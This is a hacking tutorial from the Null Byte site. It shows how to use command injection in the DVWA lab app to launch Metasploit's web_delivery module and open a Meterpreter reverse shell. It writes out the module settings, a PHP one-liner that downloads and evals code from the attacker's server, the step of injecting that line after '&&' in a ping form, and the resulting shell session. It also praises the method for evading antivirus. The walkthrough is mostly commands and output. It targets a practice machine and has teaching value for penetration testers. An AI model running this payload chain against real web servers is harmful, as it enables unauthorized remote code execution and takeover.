How to Use Metasploit's Web Delivery Script & Command Injection to Pop a Shell « Null Byte :: WonderHowTo

One of the best ways to improve your skills as a hacker is to learn to combine different avenues of attack to achieve success. What if it were possible to get a victim to connect to our machine and execute a chosen payload on our behalf? This is indeed possible with the almightyMetasploitand the aid of a technique known ascommand injection.Today, we will be usingKali Linuxand Metasploit to attack the vulnerable web applicationDVWA, included as part of theMetasploitable 2virtual machine.Web Delivery OverviewMetasploit contains a useful module that hosts a payload on aservercreated on the attacking machine. The web delivery script is run once the target machine connects to the server and the payload is then executed. This module is versatile as it can targetPython,Powershell, andPHPapplications.Don't Miss:Obfuscate Payloads & Evade Antivirus Detection with MSFconsoleThe web delivery scripts primary advantage is stealth. The server and payload are both hosted on the attacking machine, so when the exploit is carried out, there is nothing written to disk on the target, making it less likely to triggerantivirusapplications and other defenses.The one caveat of this exploit is that it needs a means of executing commands on the target to kick the script off. One possible method that is ideal for this situation is command injection.Command Injection PrimerCommand injection is a type of attack in which arbitraryoperating systemcommands are executed on the host via a vulnerable web application. Usually, this occurs when an application passes unsafe user input from a form to the server, but this can also happen withcookies, HTTP headers, and other sources of data.This type of vulnerability is especially dangerous because of the intrinsic power of system commands. Depending on the level of privilege an application is running with, command injection can lead to an attackerowning an entire system.Step 1: Fire Up DVWAThe first thing we need to do is open DVWA and log in using the default credentials.Next, browse to the "DVWA Security" tab and set the security level to "low" to make sure our exploit is run without any hiccups when we're ready.Step 2: Find a Vulnerable Entry PointNow we can navigate to the "Command Execution" page. For this attack to work, we have to ensure that the target application can communicate with our local machine. We can take advantage of the default functionality of this page to ping our attacking machine. Just enter the IP address and hit "submit."After receiving a successful reply, the next thing we need to do is determine if this page is vulnerable to command injection. We can do so by appending an operating system command to the IP address we entered. Here, we will add thelscommand with the&&symbol and hit "submit" again.Don't Miss:Scan Web Applications for Common Vulnerabilities with WMAPWe can see that the application responded with the contents of the current directory at the bottom, which means that a command injection vulnerability does indeed exist. We will take advantage of this to launch our web delivery script next.Step 3: Launch Web Delivery ScriptFire up Metasploit by typingmsfconsolein the terminal. We can load the web delivery module with the following command.msf > use exploit/multi/script/web_deliveryAt the prompt, typeoptionsto display the current setting for this module.msf exploit(multi/script/web_delivery) > options

Module options (exploit/multi/script/web_delivery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   PythonWe need to choose the appropriate target type, which, in this case, is PHP. Please note that for this module to work correctly, the target needs to be set before the payload is chosen. Typeshow targetsto get a list of available options.msf exploit(multi/script/web_delivery) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Python
   1   PHP
   2   PSH
   3   Regsvr32
   4   PSH (Binary)Now we can set the rest of our options. Perform each command as shown below in order. Forset target, it's an ID from the list above. Theset payloadis the payload we're using, in this case, php/meterpreter/reverse_tcp. Forset lhost, it's the listening host address. And forset lport, it's our listening port.msf exploit(multi/script/web_delivery) > set target 1
target => 1
msf exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 172.16.1.100
lhost => 172.16.1.100
msf exploit(multi/script/web_delivery) > set lport 1234
lport => 1234Finally, we are ready to launch the attack. Typerunat the prompt to start the exploit. The server on our local machine will start. The last line provided by running the exploit, as seen below, is important because it shows the command that needs to be executed on the target system.msf exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 172.16.1.100:1234
[*] Using URL: http://0.0.0.0:8080/ko3Rb1zps9VTa
[*] Local IP: http://172.16.1.100:8080/ko3Rb1zps9VTa
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.1.100:8080/ko3Rb1zps9VTa'));"Step 4: Run the AttackWe can use the command injection vulnerability that we discovered earlier as an easy means of attacking. So copy the last line and append it to the IP address with&&in the "Command Execution" page in DVWA, just like we did earlier when seeing if the page was vulnerable in the first place.If everything goes according to plan, once we hit "submit," our payload will execute and a Meterpreter session will be opened. Back in the terminal, we can see that this is exactly what happens.msf exploit(multi/script/web_delivery) > [*] 172.16.1.102     web_delivery - Delivering Payload
[*] Sending stage (37775 bytes) to 172.16.1.102
[*] Meterpreter session 1 opened (172.16.1.100:1234 -> 172.16.1.102:57343) at 2018-10-22 11:12:05 -0500We are not automatically dropped into the session, though, so we can use thesessionscommand to view the active sessions that are open.msf exploit(multi/script/web_delivery) > sessions

Active sessions
===============

  Id  Name  Type                   Information                     Connection
  --  ----  ----                   -----------                     ----------
  1         meterpreter php/linux  www-data (33) @ metasploitable  172.16.1.100:1234 -> 172.16.1.102:57343 (172.16.1.102)To interact with an active session, use thesessions -icommand followed by the appropriate session ID number.msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
Meterpreter : php/linuxNow we can run Meterpreter commands likegetuidandsysinfoto display information about the target machine. We can also drop into a shell by using theshellcommand.meterpreter > shell
Process 4869 created.
Channel 0 created.
whoami
www-data
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ps
  PID TTY          TIME CMD
 4656 ?        00:00:00 apache2
 4658 ?        00:00:00 apache2
 4661 ?        00:00:00 apache2
 4663 ?        00:00:00 apache2
 4665 ?        00:00:00 apache2
 4761 ?        00:00:00 apache2
 4793 ?        00:00:00 apache2
 4855 ?        00:00:00 php
 4856 ?        00:00:00 sh
 4858 ?        00:00:00 php
 4869 ?        00:00:00 sh
 4873 ?        00:00:00 psFrom here, we can issue commands likewhoamito view the current user,uname -ato display operating system information, andpsto see a list of running processes. By exploiting command injection in a vulnerable web application, we were able to execute our web delivery script and get a shell on the target without writing anything to disk.Wrapping UpIn this tutorial, we learned a bit about command injection, Metasploit's web delivery script, and how to combine the two into an effective method of attack. Since this exploit avoids writing anything to disk, it increases the chances of success in evading antivirus solutions. In the world of security, there are often many creative ways to combine different techniques to achieve results, all you have to do is look.Don't Miss:How to Exploit Java Remote Method Invocation to Get RootFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byHitarth Jadhav/Pexels; Screenshots by drd_/Null ByteRelatedHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)How To:Use Commix to Automate Exploiting Command Injection Flaws in Web ApplicationsHow To:Exploit Shellshock on a Web Server Using MetasploitHow To:Use SQL Injection to Run OS Commands & Get a ShellHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)How To:Use Command Injection to Pop a Reverse Shell on a Web ServerHow To:Elevate a Netcat Shell to a Meterpreter Session for More Power & ControlHack Like a Pro:Metasploit for the Aspiring Hacker, Part 12 (Web Delivery for Linux or Mac)Hack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHow to Hack Like a Pro:Getting Started with MetasploitHow To:Use Meterpeter on OS XHow To:Reverse Shell Using PythonHow To:Exploit Remote File Inclusion to Get a ShellHow To:Find & Exploit SUID Binaries with SUID3NUMHow To:Use One-Lin3r to Quickly Generate Reverse Shells, Privesc Commands & MoreHow To:Identify Missing Windows Patches for Easier ExploitationHow To:Hack Apache Tomcat via Malicious WAR File UploadHow To:Hack UnrealIRCd Using Python Socket ProgrammingHow To:Use Metasploit's Database to Stay Organized & Store Information While HackingHow To:Get Root with Metasploit's Local Exploit SuggesterHow To:Get Root Access on OS X Mavericks and YosemiteDon't Be a Script-Kiddie part1:Introduction to Shell ScriptHow To:Find Exploits & Get Root with Linux Exploit SuggesterHack Like a Pro:Scripting for the Aspiring Hacker, Part 1 (BASH Basics)How To:Create a Persistent Back Door in Android Using Kali Linux:How to Hack Databases:Running CMD Commands from an Online MS SQL ServerHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesIPsec Tools of the Trade:Don't Bring a Knife to a GunfightHow To:Use JavaScript Injections to Locally Manipulate the Websites You VisitHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsHow To:Push and Pull Remote Files Securely Over SSH with PipesHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreNews:First Steps of Compiling a Program in Linux